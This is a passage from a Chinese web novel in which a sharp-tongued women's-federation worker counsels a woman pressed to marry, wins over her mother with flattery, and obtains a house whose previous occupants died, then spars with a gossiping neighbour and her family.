宋知南起身告辞,系统及时播报:杠精值加120。 宋知南面带微笑,杠领导风险高但收益更高。 宋知南在大家各种各样的目光中离开了孙主任的办公室,众人见她出来时面色如常,丝毫不见沮丧,失望的同时又不禁有些佩服。这个姑娘的心性挺强。 还有人想向她打听些内幕消息,一接触到随后出来的孙主任那带着冷意的目光赶紧缩了回去。 宋知南回办公室的路上也被人围观了,她回到工位上,何黛赶紧给她倒了一茶缸温水让她润润喉,准备等她喘口气好打听打听谈话内容。 谁知宋知南刚喘了口气,她们办公室又迎来了一位来访者。这人何黛认识,人一进来,她就热情地打招呼:“黄阿姨来了,进来坐。” 黄阿姨五十多岁,身材高大,头发花白,身穿蓝色工装,她一进来就不好意思地冲何黛笑笑:“小何,我这次来还是为我家闺女的事,那啥,我想跟小宋同志聊聊。” 何黛知道黄阿姨闺女李群英的事,便说道:“黄阿姨,我其实劝过群英,但她这人的意志比较坚定,我说服不了她。” “嗐,我自己生的闺女我知道,她要是那么容易被说服,我也不会愁这么多年了。” 黄阿姨跟何黛说完,好奇地打量了一眼宋知南,大家都说这小宋同志口才了得,文笔也好,还上过好几次报纸。自家闺女平常总是觉得自己有才华,小宋这样的人对她闺女应该很有说服力吧。 黄阿姨简明扼要地跟宋知南说明了自己的问题和来意:她有一个女儿叫李群英,今年二十七了,在纺织厂宣传科工作,人长得很一般,但要求很高,一直不肯降低标准,眼看快三十了还没结婚成家,老两口急得上火,什么办法都使过了没用。大家都说宋知南会劝人能怼人,她就抱着试试看的态度来求助。 黄阿姨打开天窗说亮话:“宋干事,我那闺女你尽管说尽管怼,你放心,你就算把她说哭了,我也不会怪你,我觉着她就欠骂。” 宋知南的工作态度很端正:“黄阿姨,我一般都跟人讲道理,不骂人。这样吧,你让李群英同志有时间过来找我,我先跟她聊聊,摸一摸她思想上的底。” “好好。我让她下午就来。宋干事,你这次一定要劝服她,让她早点找对象。” 黄阿姨说完,就匆忙离开了。 她人一走,何黛冲宋知南笑笑:“这个难题就交给你了。” 接着何黛跟宋知南交代李群英的情况,“这个李群英我以前就认识,她跟我表姐是高中同学,喜欢读书,文笔还不错,在宣传科负责写材料。就是吧,她的长相有些像男人,性格也偏硬,对她有意的男同志也不是没有,大多她都看不上,拖来拖去就成了老大难。她妈找过妇联找过她的领导,让我们帮忙做思想工作给她介绍对象,反正都没成。这下就看你的了。” 宋知南摇头:“我感觉我也不行,我的主业又不是做媒。”她从来没做过媒,倒是无意中拆散过几桩姻缘,其实就是女方向她打听男方的人品和性格,她选择实话实说,结果他们就散了。 说完工作,何黛赶紧见缝插针地问宋知南孙主任谈话的事。 宋知南大夸特夸孙主任:“孙主任思想很先进很开明,他鼓励我好好写作,说我将来一定能成为大作家。” 何黛有些不信,孙主任是那么好的人吗?但她又不好直接说她不信。 或许,孙主任对宋知南是另眼相看吧,毕竟她那么有才华。领导都是爱才的,一定是的。 中午是何黛去食堂打的饭,两人吃完饭,趴在桌上午休。 中午没有来访者,下午刚上班,就来了一个高个子黑皮肤的女同志。 何黛热情招呼:“群英你来了,快进来坐。” 李群英朝何黛微微一笑,随即用警惕戒备的目光打量着宋知南,像是在估量着什么。 她开门见山地说:“宋同志你好,我妈让我在相亲和跟你聊之间做个选择,我选择了你。” 何黛险些笑出声来。 宋知南一脸严肃地起身跟李群英握手:“李同志,感谢你的信任,我觉得你很有眼光,跟我聊天比跟男人相亲有意思多了,你不会后悔的。” 这次轮到李群英忍俊不禁了。 她这一笑,气氛也随之变轻松了。 何黛特意把搪瓷缸子冲洗了一遍,给李群英倒上茶水,然后她安静地坐在一边旁听。 李群英抿了一口茶,自嘲道:“宋干事,你也看到我的长相了,就是这么丑,性子也跟温柔不搭边,可我偏偏对男方有一定的要求,我要求男的家庭不能太差,父母明理有素质,文化程度跟我一样得是高中毕业,人得爱干净顾家,不抽烟不喝酒不爱吹牛。别人都笑话我没有自知之明,说条件比我好的女孩都找不到这样的,我是痴心妄想。可我就是不想降低标准,我妈让我来找你,估计是想让你劝我降低标准。” 宋知南看了李群英一眼,这姑娘小眼厚唇,但个子高肤色健康,打扮得干净利落,跟传统审美中的漂亮不搭边但也没丑得影响市容,总之就是相貌很普通的一个姑娘,比刘卫国陈安华之流强得多了。 宋知南清声说道:“我觉得你挺好的,个子高,身材健康匀称,说话很有意思,能看得出来脑子很好使。我个人认为,相貌是别人用来识别你的,不是你用来评判自己的,你跟丑没关系,不要这么评价自己。” 李群英诧异地看着宋知南,说:“宋同志,你的话跟你的文章一样有深度有思想。” 宋知南大大方方地接受夸奖:“谢谢你的夸奖,你不但脑子好使,眼光也好。” 李群英笑了一下。 宋知南接着说:“你妈今天可能要失望了,我不会劝你降低标准的,因为你的要求并不高,只是很正常的一些要求。” 李群英的眼睛一亮,饶有兴趣地听下去。 宋知南问道:“你认识陈安华和刘卫国吧?” 李群英点头,这两人她当然认得,刘卫国还是她家邻居呢。前两年有人想把她和陈安华往一块儿凑,双方互相看不上,还闹了些不愉快。 宋知南说:“这两人长得是公认的丑,又丑又猥琐,心灵也丑。可就算是这样的人,他们也很自信,还敢当众评判女同志的相貌。所以你看出来了吗?男人无所依仗也会自信,咱们女同志必须有所依仗才会自信。我们要向男同志学习,哪怕一无所有也要自信。自信对于很多男人来说会恶心到别人,但对于女人来说会点石成金,因为我们往往什么都有了就差一个自信。” 何黛听得一愣一愣的,她觉得以前的自己是不是太不自信了? 李群英更是内心震荡,所以她不是太自信,而是不太自信?确实,她跟刘卫国陈安华一比,那肯定得自信。 为什么她没有早点认识宋知南?此时此刻,她深切地理解到了什么叫相见恨晚。 李群英平静的心中起了波澜,她略有些激动地伸出手跟宋知南又握了一下:“宋干事,感谢你的开导,我今天没白来。” 第34章 李群英犹豫片刻, 又诚恳地问了一句:“宋干事,你对我以后的生活有什么建议吗?” 宋知南谦虚而真诚:“建议不敢当, 毕竟我也刚参加工作不久。我只说一个我的想法:我觉得以你的聪明和才华可以站得更高,你可以把精力放在工作上。你站得越高,最下面的人就越伤不到你。你想啊,当你站在山顶一览众山小时,你还会在意山脚下的人吗?他们在你眼中早变成了一个个黑点是不是?他们说什么你也听不到是不是?” 李群英宛如醍醐灌顶,原地开悟。她重重地点了点头,“宋同志,我非常愿意跟你聊天,谢谢你。可惜,我是上班时间溜出来的不能长呆,咱们以后有空再聊。” “好的, 你慢走。” 李群英心满意足地离开了。 她一离开, 何黛就感慨道:“知南, 我感觉妇联这个舞台有点委屈你了。” 宋知南微笑:“啥委屈不委屈的,都是为人民服务。”让人顿悟这事她熟, 当年在她的直播间很多女同志都是原地顿悟, 那些纠结离不离婚的,最后都离了;那些在纠结分不分手的最后都分了;那些还在为男人和原生家庭痛苦抑郁的,都突然想开了。 这次咨询,李群英非常满意,隔天送了一幅自己写的字:“宋知南一颗红心,知天下妇女的心,是我们的知心妹妹。” 这是宋知南获得的第二项荣誉, 何黛珍而重之地把字挂在墙上,啥时候她也有一面锦旗或一幅字就好了。 李群英对宋知南很满意, 黄阿姨却不满意了。她本想让宋知南骂骂自己那不知天高地厚的女儿,结果倒好,女儿回家后对宋知南赞不绝口,这还得了。 黄阿姨心中带着气,满脸都是情绪地走进了妇联办公室。 宋知南一见黄阿姨,先给她来了一通夸赞:“黄阿姨,我前天见到你女儿了,老话说得好,孩子素质高,母亲差不了。你真会教孩子,群英同志意志坚定、有思想有文化,觉悟性还高。阿姨您年轻时一定很厉害,您是不是当过兵?” 黄阿姨的思路立即被宋知南带偏了,心中的怒气突然就没了,她面带笑容谦虚道:“我以前是当过几年兵。” 宋知南一脸敬佩:“怪不得呢,你这通身的气派和精气神一看就跟普通人不一样。一跟你说话,就感觉你头脑清晰,有思想有逻辑有主意,李群英这一点上就随你。” 黄阿姨脸上的笑容一直没断。 宋知南接着夸:“黄阿姨,我跟你女儿聊了很久,我们是相谈甚欢。我觉得吧,一个女人最可贵的不是身材不是长相,而是坚定的意志和聪明的头脑。李群英同志这两样都具备,再加上有你们这对民主开明、通情达理的父母保驾护航,她以后无论结不结婚,都会过得很好。” 黄阿姨笑得合不拢嘴,“要真像你说的,那就太好了。哎哟,我跟她爸愁得都睡不好觉。” 宋知南循循善诱:“我听家里的老人说过,姻缘这事讲究一个缘分,有的早有的晚,该来的它一定会来,过度强求反而不好。” 黄阿姨点头:“我也听说过这类的话,可心里就是着急啊。” 宋知南:“我理解,可怜天下父母心嘛。不过老话说得好,好饭不怕晚,好人不怕等,这种事咱急也没用。你要放平心态,该吃吃该喝喝,啥事别往心里搁。儿孙自有儿孙福,你女儿的幸福肯定在后头。” 黄阿姨本来是来兴师问罪的,结果被宋知南说得乐乐呵呵地回家了。 她一离开,何黛佩服地朝宋知南竖起了大拇指。要不说,她怎么一点都不妒忌宋知南呢?她知道对方的真实能力,知道对方为工作付出了多少。 黄阿姨回到家里也对宋知南赞不绝口,“这个小宋可真会说话,跟她这么一聊,我心里舒坦多了,比老中医的针灸都管用。”老中医治的是身体上的病,而黄阿姨得的是心病。 这次轮到李群英震惊了,她妈有多难缠多顽固她自己知道。全听她的自己难受,不听她的对方会作会闹。她说轻了没用,说重了又不行,没想到人家宋同志轻轻松松地就把她妈给拿捏了。能轻松拿捏黄女士的人会是普通人吗?她爷爷奶奶伯母婶子努力了几十年都失败了,她爸败得更狠,现在早已是她妈的手下败将,她自己更是屡战屡败。 李群英从来没有对一个人如此感兴趣过,她想接近宋知南,她想跟她发展工作以外的关系——做朋友。 第二天午休时,李群英又来了。 她这次是真心向宋知南请教怎么拿捏自己妈妈。 宋知南说:“我是真心觉得黄阿姨人挺好的,她讲道理,没有硬逼你结婚,还听劝。这已经领先全国百分之八十的父母了。对待父母要像对孩子似的,对于值得教育的那部分,要多夸多鼓励。你想要一个人脱掉棉袄,不能用冷风吹,要用阳光温暖他,他一热自己就脱了。” 李群英频频点头,怪不得她妈回去兴高采烈的,原来是被夸了。行,成功的经验可以借用。 从这以后,李群英有空就来妇联坐一坐,听听宋知南讲讲经,回去就实践一二。 不经常夸人的都知道,刚开始夸人时会有些羞耻,根本张不开嘴,经过尴尬期后越夸越顺,最后简直像吃饭喝水一样自然,夸人不费力不费钱,但是效果拔群。 黄阿姨和她老伴像平常一样唠叨:“谁家闺女像你这样,这么大还不结婚,让我们操碎了心。” 李群英强忍住不杠,面带微笑强夸:“为什么别人家的闺女不像我这样呢?她们有我这么幸运吗?有我这样通情达理的爸妈吗?” 夫妻二人对视一眼,突然不知道该说什么好了。 两人还没反应过来,李群英唉声叹气:“爸妈,我不随便结婚是为了我自己,也是为了你们好。我听说有人着急结婚,没看清男人的品行,你猜最后怎么着?那个女婿最后把岳父岳母一家全杀了!” 夫妻二人受到了惊吓,齐声问道:“真的假的?” 李群英一脸愁容:“当然是真的,不信你们去打听打听,把我吓够呛。咱远的不说,就说咱们隔壁邻居,那白凤英是怎么死的?万一我也遇到这种事情呢?” 黄阿姨急声说:“不可能,你不会遇到这种事。” 李群英忧心忡忡地看着爸妈问道:“为什么你就笃定我不会遇到这种事呢?万一呢?白凤英她爸妈当年肯定也是这么想。可是,知人知面不知心,你跟刘富贵当邻居这么多年,你知道他的心吗?你能想到他一个人人称赞的老实人会干出这种事吗?” 这题给李爸李妈都整不会了。 李家的家庭氛围变得沉重起来,但同时也变得前所未有的和谐,他们终于不催婚了。 李群英心中感激宋知南,朋友交得好,好处真是多。对方帮了她这么多,她也想为对方做点什么,送字送锦旗,好处是有,但不大。李群英就想帮个大忙,最好是对宋知南的生活有实质性帮助的。 当李群英打听到宋知南因为家庭不和睦只能出来租房,而且合租室友是吴明珠后,她心里就有了主意。吴明珠那么飞扬跋扈不好相处,怎么能让宋同志受那么大委屈呢。 这一天宋知南下班后,李群英在路上“偶遇”了她。 李群英今天是有备而来。 她开门见山地问道:“宋同志,我先问你一个问题,你怕鬼吗?”要是怕的话,她的计划就不用提了。 宋知南语气坚定:“我有语录书在怀,无惧一切妖魔鬼怪。” 李群英:“……” 她接着笑着补充一句:“咱俩是私人聊天,不用那么正式。——你真的不怕?” 宋知南笃定地说:“我真不怕。” “那就好。” 李群英接着说:“刘卫国跟我家是邻居,现在他们一家三口都没了,据我所知,刘富贵和白凤英的父母早已去世,刘富贵的大哥也不在了。 按照厂里政策规定,刘富贵家的房子是要收回来的。如果这时候有一个没房子、对厂里有突出贡献又不怕鬼的人向厂里申请这栋房子,大概率是能成功的。” 宋知南立即明白了这里面的门道,她激动地握住李群英的手:“李同志,你真是我的福星我的明灯,你不说我真没想到。” 李群英笑了笑,说:“其实我也是有私心的,我希望能跟你这样的人当邻居。你应该能看得出来,我的朋友不多。”以前的同龄朋友大多都结婚了,她们关注的话题不同,慢慢地就聊不到一块去,自然就渐行渐远了。 宋知南一脸荣幸:“其实我的朋友也不多,我也喜欢跟你这样聪明爽朗大气的人交朋友。” 两人愉快地聊了一会儿,愉快地告别。 宋知南回去以后就开始考虑李群英建议的可行性,她不怕鬼,她有一个朋友买房图便宜专门挑凶宅买,买完还邀请她过去住几天镇宅辟邪。用朋友的话说,对于无产阶级来说,鬼算个什么?穷才可怕。她恨不得找鬼借点钱花,毕竟鬼有人烧钱,她老板压她工资。 可是她有一个问题就是工作时间太短,不过她写的文章都上报了,而且还得了两项荣誉,这个可以抵消吧?成不成的必须得先试试。 等吴明珠一到家,宋知南就向她打听申请房子的事。 吴明珠一听宋知南竟然有意申请刘富贵家的房子时,吓得小脸一白,连连摆手:“不行不行,他们一家三口都是不正常死亡,他家的房子是凶宅。你不害怕呀?你一个人怎么敢住?” 宋知南:“没事,我不怕。哪里的黄土不埋人?就说我们脚下这片土地,你不知道下面埋了多少人。” 吴明珠听完更害怕了。 宋知南晓之以理,再动之以情:“明珠,我不像你这么幸福,你可以住家里也可以住这里,但我的家不是我的家,是我哥哥和弟弟的。我想要有一间自己的房子,我知道你这人看着高傲冷漠但心里柔软善良,所以我才找你帮忙。” 吴明珠:这不柔软似乎也不行了。 她考虑了一会儿,说道:“那我回去帮你问问,成不成可不一定。” “那太好了,我就知道你会帮我。” 吴明珠第二天下班回家,在饭桌上,她顺便向父亲说了刘家房子的事。 吴厂长说:“说起刘富贵家的那个房子,昨天刘家的邻居李群英向厂里反应,说他们晚上听到女人的哭声,吓得一宿没睡着,建议厂里找一个心怀正义不怕鬼的人过去住,好镇一镇里面的鬼气。我准备让保卫科的人过去住几天。” 吴明珠说:“爸,保卫科的人不一定行,我给你推荐一个人。” 吴厂长诧异地问:“谁呀?” 吴明珠说:“我有一个合住的朋友宋知南你听说过吧?” “有印象,会写文章的那个?” “对,就是她。” 吴厂长一脸疑惑:“明珠,是不是那个小宋得罪你了,你才想出这招整她?” 吴明珠:“……” 她解释了几句,可是吴厂长就是不信。吴明珠悄悄翻了个白眼,索性也不解释了。 吴厂长不禁暗暗可怜那个未曾谋面的宋知南。 第二天,吴厂长在工作间歇听到后勤部的人议论宋知南胆大包天,竟敢第一个申请要刘家的房子。 吴厂长不知道该怎么形容眼下的心情,反正就挺复杂。 后勤部的工作人员仍在热烈讨论宋知南: “这个小宋今年才参加工作,要分房子也轮不到她吧?” “她发表了好几篇文章,还得了锦旗,大家对她的工作挺认可,也算是有贡献的人。” “她那叫贡献吗?毁誉参半吧,听说男同志都抵制她。” “问题是咱们纺织厂的女同志多。” “那她到底符不符合条件?” “你也可以说她符合,也可以说她不符合。可你别忘了,刘家的房子很特殊,一般人心里有忌讳。目前为止就她一个人申请。” “那也不一定,你再过一段时间看看,肯定有人想起这茬来。” …… 后勤部见吴厂长也关注这个问题,就来征求他的意见。 吴厂长想了想,说:“让这个小宋同志来我办公室一趟。” 第35章 吴厂长四十来岁, 虽然人过中年,但一点也不油腻, 浓眉大眼 ,不肥不秃,气质儒雅。想来也是,他能生出吴明珠那样好看的女儿,长相不会丑到哪里去。 宋知南礼貌地向吴厂长问好,还大大方方地打量了他一眼,说道:“吴厂长,明珠长得跟您真像,看着您我就想起了她,虽然我们是初次见面,但我看见您就感觉很亲切。” 吴明珠是吴厂长的掌上明珠, 听宋知南这么说, 他心里自然高兴, 对宋知南的态度也变得亲切随和许多:“我听明珠提起过你,说你聪明胆子大还写得一手好文章。哦对了, 听后勤部的人说你向厂里申请住刘富贵家的房子?” 宋知南语气坦诚:“吴厂长, 您是厂长,是明珠的父亲,也是我的长辈。我跟您实话实说,我不像明珠那么幸运,拥有一个开明民、主、不重男轻女的父亲,我爸的封建残余思想非常严重,你看明珠的名字寓意是掌上明珠, 我名字的寓意其实是知难而退,意思是让女孩别再来宋家投胎了。 我爸从小就告诉我, 我们家不是我的家,是哥哥和弟弟的。我明明住在自己家里,却有一种寄人篱下的凄惶感,我从小就渴望有一间属于自己的房子,这是前情。 近期,我跟父母的冲突愈发严重。我哥哥下乡了,爸妈认为应该是我下乡而不该是我哥哥去,他们就把我赶出来了,我不得已只好租房子住,咱们厂里职工的住房都很紧张,根本没有空房,幸好明珠心善收留我,她把我当朋友不怕麻烦,但我不想一直这么麻烦她,打听到我也可以向厂里申请空出来的房子,我就想试一试。” 吴厂长听罢宋知南的话,心情相当复杂。开始时听得很舒服,他确实是一个开明民、主的父亲,重男轻女根本不可能,儿子都说他重女轻男。听到中间又忍不住替宋知南惋惜,这孩子是个好孩子,就是没生在一个好家庭,她父母是真糊涂呀。 宋知南用期待的目光看着吴厂长:“吴厂长……” 吴厂长抬手打断她:“小宋啊,你不用叫我厂长,叫我吴叔就行。” 宋知南立即改口:“吴叔,您看我这次申请能成功吗?” 说到这里,她似乎有些局促不安:“我知道我参加工作的时间有点短,但大家对我的工作很认可,我也在报纸上发表了几篇文章,勉强算是有点贡献吧。我还年轻,一切都刚刚开始,我以后一定会加倍努力工作,为厂里为国家多做贡献。” 吴厂长没有直接说行不行,他亲切地问道:“小宋,刘家那种情况,你真的不害怕?” 宋知南慷慨激昂:“我相信唯物主义,不信鬼神。再说了,我有□□在怀,不怕任何妖魔鬼怪。” 说着,她真的从衣兜里掏出了一本红色语录书。 吴厂长突然沉默下来。 宋知南见对方沉默了,只能继续自由发挥:“我觉得厂里面就我最合适,我还为白凤英写过文章说过话,她若泉下有知,肯定得感谢我,至少不会为难我;她若泉下无知,那就说明世上没有鬼魂,更不用担心。” 这正的反的都被宋知南说透了,吴厂长还能说什么。 最后,他说道:“小宋啊,厂里再研究研究,你回去等消息吧。” 宋知南面带感激:“谢谢吴叔,您是一个英明睿智、目光长远又肯关心职工生活的好领导,我相信您一定不会让我失望。” 宋知南起身告辞离开。 吴厂长下班回家,吴明珠见到他就问道:“爸,我听说你找宋知南谈话了,你觉得她这人怎么样?” “聪慧过人,关键是说话好听,只可惜没生在一个好家庭,她爸妈太糊涂了。” 吴明珠点头,她跟她爸难得意见一致。 吴厂长看了一眼吴明珠,着重强调:“小宋说她不像你这么幸运,有一个开明、民、主,不重男轻女的父亲。” 吴明珠:“那是她看在我的面上,哄你开心。” 吴厂长摇头叹息,他想从自己闺女嘴里听几句夸奖怎么就那么难。 吴明珠说:“爸,刘家的房子是凶宅,现在也没人申请,既然宋知南想要,就给她呗。你批给谁不是批?” 吴厂长笑道:“你可很少给别人说情,这下我终于相信你不是故意整她了。” 吴明珠嘁了一声没说话,她还真的很少因为别人向父亲开口。一是懒得,二是觉得求她的人都不值得开口。宋知南算是个例外。 吴厂长认真考虑一会儿,觉得这房子确实给谁都是给,再说了小宋那么聪明能干,又那么可怜,关键是说话还好听,再加上还有宝贝女儿从中说情。不批准实在说不过去。吴厂长大手一挥就同意了。 厂委工会和后勤部一看吴厂长都同意了,他们还能说什么?那就同意呗。刘家的邻居说那房子闹鬼,宋知南一个小姑娘肯定住不了多久就得搬出来,到时候房子又归厂里了。 宋知南接手了刘富贵家的房子,这个消息一传出来,众人不由得一脸诧异。 有人感叹宋知南动作真快,其实并不是所有人都害怕鬼,对于很多穷人来说,穷比鬼还可怕。他们原本打算等过一段时间再说,至少等得刘富贵和刘卫国的头七过了吧。谁能想到,有人行动这么迅速,打了大家一个措手不及。 有的人觉得不公平,就向厂里反应,说宋知南参加工作的时间太短,年纪太小,不够资格。 也有人说宋家有房子,宋知南又是单身女青年,不像别人拖家带口的,与情与理都不该轮到她。 吴厂长就说宋知南有才华替纺织厂扬名了,也算是个特殊人才,而且人家是第一个申请的,当时除了她没有别人申请。大家伙虽然不满,但也奈何不得。 房子申请下来之后,宋知南先去跑各种手续,然后去找换锁师傅把门锁全部换掉,把床拉出去扔掉,买了一张别人家淘汰的旧床先凑合用。 忙完这些后,她在后院给白凤英烧纸,烧的既有纸钱,也有报纸,报纸上有她写的文章。 宋知南一边烧纸一边嘴里念念有词:“白凤英同志,杀害你的刘富贵已经下去了,你记得去找他算帐。你儿子虽然是你生的,但他在刘富贵长年累月的洗脑下,一直仇恨你,顺带仇恨所有女人。刘卫国同情他爹,说都是因为你毁了这个家,你□□生出的血肉变成了刺向你的尖刀。 只有女人才能真正理解女人,我理解你,理解你当年的不甘心和痛苦,你一定是经过了剧烈的思想斗争才迈出那一步,你只是犯了很多男人都会犯的错。他们浪子回头还被人称赞,但因为你是女人所以没有回头的机会。 我还替你在报纸上说了话,烧给你看看。我是你的盟友,咱们女人不要为难女人,你不要上来找我。我祝你投个好胎,你最好投生在城市独生女家庭中,以后结婚要谨慎,最好别结婚,你值得更好的人生,值得更开放的时代。” 祭奠完白凤英,宋知南自己画了个符贴在门上,屋里还挂了几张领袖的画像,顺便镇压一下刘富贵和刘卫国。 宋知南还特意去向吴明珠道谢,“明珠,谢谢你和吴叔,你们帮了我的大忙。” 吴明珠不在意地说:“不用谢,我不过顺嘴一提而已,主要是你动作够快,又符合要求。” 吴明珠还是不放心宋知南,特地送了她一只小黑狗,小黑狗是她家狗大黑的闺女,名叫黑米,全身漆黑,在夜里都看不见它。 一切准备就绪,宋知南开始清理房间和院落。刘家的房子比吴家的小多了些,有二间正房,一间厢房。 这房子是刘富贵的老娘分的,她是纺织厂最早的那批职工,那时房子还没那么紧张,所以才有了独立的院子。像宋知南家的房子就是大杂院了。 刘富贵父子俩不是啥干净人,屋里又脏又乱,院子多年不打理显得十分破败。 宋知南抓紧时间刨地松土,抢种了最后一茬萝卜白菜大葱等等。 宋知南下班后过来吴明珠家搬东西,吴明珠和陆诗月对宋知南都有些不舍。 宋知南说:“咱们都在一个家属区,离得很近,以后你们有空来找我玩,或者我去找你们。” 她正说着话,只听得身后一阵自行车铃声响起,只见李群英骑着自行车过来了。 李群英跳下车子,对宋知南说:“知南,我来帮你搬家。” 宋知南笑着说,“太好了,我正好有一箱子书要搬过去。” 宋知南转身回屋去搬东西,吴明珠瞥了一眼门口的李群英,问:“你什么时候跟她那么熟了?” 宋知南说:“她是我的新邻居。” 吴明珠“哦”了一声没再说话。 一个星期后,宋知南终于拾掇好,家也搬完了。 新家附近的邻居对于宋知南这个新邻居充满着兴趣。 她搬来那天,多人围观。 宋知南早就提前做好了功课,她家左手边是李群英家,右手边是赵大娘家,对门是王婶,王婶嘴最碎。人们私下里称她为王婆,她家大儿子胡大庆二儿子胡二庆人都不太正经,爱跟大姑娘小媳妇开玩笑,李群英挺烦他们,郑重嘱咐宋知南:“你少理会他们,这两人就跟那春天的公狗似的不安分。” 宋知南点头:“好的,我记住了。” 她家斜对门是张大爷家,这人也有点意思,嘴也碎,但没王婶碎得那么讨厌。听说他以前爱看算命的书,是个业余算卦的。当然,自从运动开始后,他明面上不敢这么干了,怕被人举报搞封建迷信,但说话做事无不神神道道的。 张大爷见宋知南搬家,就拿了日历过来说:“小宋,你搬家咋不挑个黄道吉日呢?你看今天写的是不宜搬家。” 宋知南说:“今天是星期天,在我这儿就是宜搬。” 张大爷摇摇头,年轻人还是懂得太少。 他接着低声建议宋知南最好让人做场法事,驱驱阴气,宋知南表示意见接受,但仍然我行我素。 李群英帮着宋知南把东西搬进院子,无奈地摇头苦笑:“张大爷这人就是这样,不是特别讨厌,甚至有点好玩。” 她搬完东西就回家去了。 宋知南继续收拾东西,她正忙着,家里却来了一个不速之客。对面的王婶磕着瓜子不请自来,王婶五十来岁,身材矮胖,大饼脸,三角眼,她一进来一双利眼就不停地扫描着院里的一切,自来熟的跟宋知南搭话:“小宋,怎么就你一个人呢?你爸妈姐姐弟弟咋没来帮你搬家?” 宋知南一边干活一边回答:“我没通知他们。” 王婶目光闪烁,接着打探:“你以后就一个人住?那多不安全。你有对象没有?我听说你哥是你偷偷给他报的名?你爸妈是不是特别生气啊?” 宋知南非常讨厌这个问法,就不答反问道:“王婶你家几口人?” 这下轮到王婶回答问题了:“三口,我和两个儿子,我大儿大庆老实能干,二儿子二庆聪明热心,邻居们谁见了谁夸。” 宋知南接着问:“王婶,你们是什么阶级成分?你爸妈是干什么工作的?你爷爷奶奶是干什么的?你老伴是怎么没的?你这么多年咋没再找一个呢?是找不着吗?还是心里有人了?” 王婶被硬控了五秒钟,瓜子都忘磕了,怔怔地看着宋知南。 第36章 王婶皮笑肉不笑:“小宋啊, 你的问题可真多啊,还问得这么仔细。” 宋知南笑着说:“我看你问我这么多问题, 就以为你喜欢这个,所以就投桃报李。我要是不问,显得我没礼貌。对了,你为什么不愿意回答我的问题?是有什么难言之隐不方便说吗?” 王婶登时变得警惕戒备起来,“我清清白白正正经经的一个人,没啥难言之隐。” 宋知南云淡风轻地“哦”了一声,温声安抚道:“你别急别慌别紧张,我也就随便问问。” 王婶对宋知南的观感很不好,这姑娘不太会为人处事,口齿太尖锐,现在的年轻人哟, 真是一代不如一代。 王婶正在心里暗自给宋知南下定论, 就见宋知南拿了一只国棉厂标记的口罩戴上, 开始挥着扫帚扫地。一时间,院内灰尘漫天, 王婶呛得咳了几声, 只得退出院子。 王婶觉得自己的使命还没完成,不甘心就这么回去了,她站在大门口,看看四下无人,眼珠一转,便说起了李群英的闲话:“小宋,我看那个李群英跟你挺熟啊, 你们年纪相差那么大,怎么说到一起的?” 宋知南一边扫地一边回答:“我们俩年纪相差再大, 也没我跟你年纪差得大,你跟我不也能说到一起吗?” 王婶觉得这个宋知南太不会聊天了,每一句都噎死人。 她干笑两声:“你说李群英都快三十了还不找对象,她爸妈可急坏了,这搁谁谁不急,要换了我,都急得吃不下饭睡不着觉。” 宋知南犀利地反问:“你儿子三十多了也没找到对象,也没见你吃不下饭,吃得还挺胖,吃的还都是厂里的,你这是损公肥私。”王婶以前在纺织厂食堂工作,前两年才把工作让给儿子。 王婶:“……” 杠精系统又开始播报了,杠精值加20。 王婶顿了一下,接着硬往下聊:“儿子跟闺女哪能一样,老话说得好,老母猪养得,老姑娘养不得。” 宋知南用力地扫了一下地,把灰尘直往王婶脸上扬:“你这老话不准,让我教你几句:老姑娘养得,老光棍养不得。姑娘善良不惹事,还孝顺父母,养多久都没事。老光棍一养准出问题,危害社会危害人民。” 王婶直翻白眼:“我咋没听说过这句话?” 宋知南:“你没听过很正常,我看的书比你多,懂得比你多。你好好学习吧。现在的中老年人真是一代不如一代。” 王婶撇撇嘴,她对于自己不能把控节奏的聊天失去了兴趣,意兴阑珊地离开了。 四周看似没人,那也只是看上去没人而已,很快地,宋知南和王婶的聊天记录就被张大爷给传播了出去,没过多久,就传到了当事人李群英的耳朵里。 李群英在家里恨恨地骂王婶:“这个碎嘴老婆子一天不说闲话就发慌。还好知南不是那种爱说闲话的人,怼得真好。” 她妈黄桂枝评价道:“小宋聪明,压根就没顺着王红莲的话聊,反倒把她给问住了。不过,王红莲可不是个省油的灯,她一定会败坏小宋的名声。不行,我得出门给邻居说道说道去,第一印象很重要。”王红莲就是王婶的名字。 黄桂枝和王红莲分别去找相熟的邻居传播新闻去了。 宋知南把院子扫干净后,削了个大梨,加一块冰糖,在炉子上炖梨汤。砂锅在炉子上咕嘟咕嘟冒着热气,她搬只马扎坐着逗黑米玩,“黑米,坐。”黑米一脸茫然地歪着脑袋看着宋知南。 宋知南只好换成狗语跟它沟通:“咱们搬到新家是不是要兴旺发达了?你就说旺不旺?” 黑米只听懂了一个“旺”字,便热情地回应两声:“汪汪。” 宋知南摸摸它那黑缎子一样的狗毛,笑着夸道:“行,我知道了,你也觉得会旺。黑米真乖,我就喜欢跟你聊天,比刚才那人强多了。” 跟人类呆久了,她就想跟狗聊一会儿。狗永远是狗,但人可不一定永远是人。 宋知南歇够了,看梨汤也炖好了,就把炉子封上,挎上帆布书包拿了个布袋子准备出门采购去。 她刚要出门,就见宋上进带着宋知夏和宋冬宝拎着东西来了。 宋知夏和宋冬宝上门,宋知南不意外,意外的是宋上进竟然也来了。 宋冬宝咋咋呼呼的:“姐,你真的把刘富贵家的房子申请下来了?” “嗯。” 宋冬宝伸长脖子往里看了一眼,迟疑片刻还是抬起了脚,虽然刘家死了三个人,但三姐都不怕,应该没事吧。 宋知夏语气复杂:“小南,你的动作真快。”刘家出事后,陈安华的爸妈就说起了房子的事,但他们想着,刘家人刚没,等一等再说房子的事比较合适,省得有人说他们太迫不及待。哪里想到,有人竟然捷足先登了。 宋上进的神色更加复杂,失落、遗憾、后悔……每样都有点,他不得不感慨道:“小四,你的动作确实迅速,这么短的时间,工作搞定了,房子也搞定了。” 宋知南平淡地嗯了一声,接着说:“爸,我准备把户口迁出来。” 宋上进没有立即答应,只是扯起了跟户口无关的事:“小四,你哥来信了,说他的行李里被人塞了很多砖头和石头,东西也被人掉包了。他在乡下过得特别苦,你妈看完信哭得眼睛都肿了。” 宋上进说着话,不错眼地盯着宋知南,看她什么反应。 宋知南故作惊讶:“还有这种事?你看我就说吧,不让我妈天天哭丧,这下宋秋实倒霉了吧?” 宋上进只能无言以对。 宋知南又关切地问:“对了,我哥在村里被狗咬没有?” 宋上进咬着牙根说:“没有。” 宋知南心里略有些遗憾,随即又释然:“狗不咬他也很正常,就他这样的,狗咬他都得就蒜。” 宋知夏想笑又不敢笑,宋冬宝没憋住,噗嗤一声笑了出来。宋上进狠狠地瞪了他一眼。 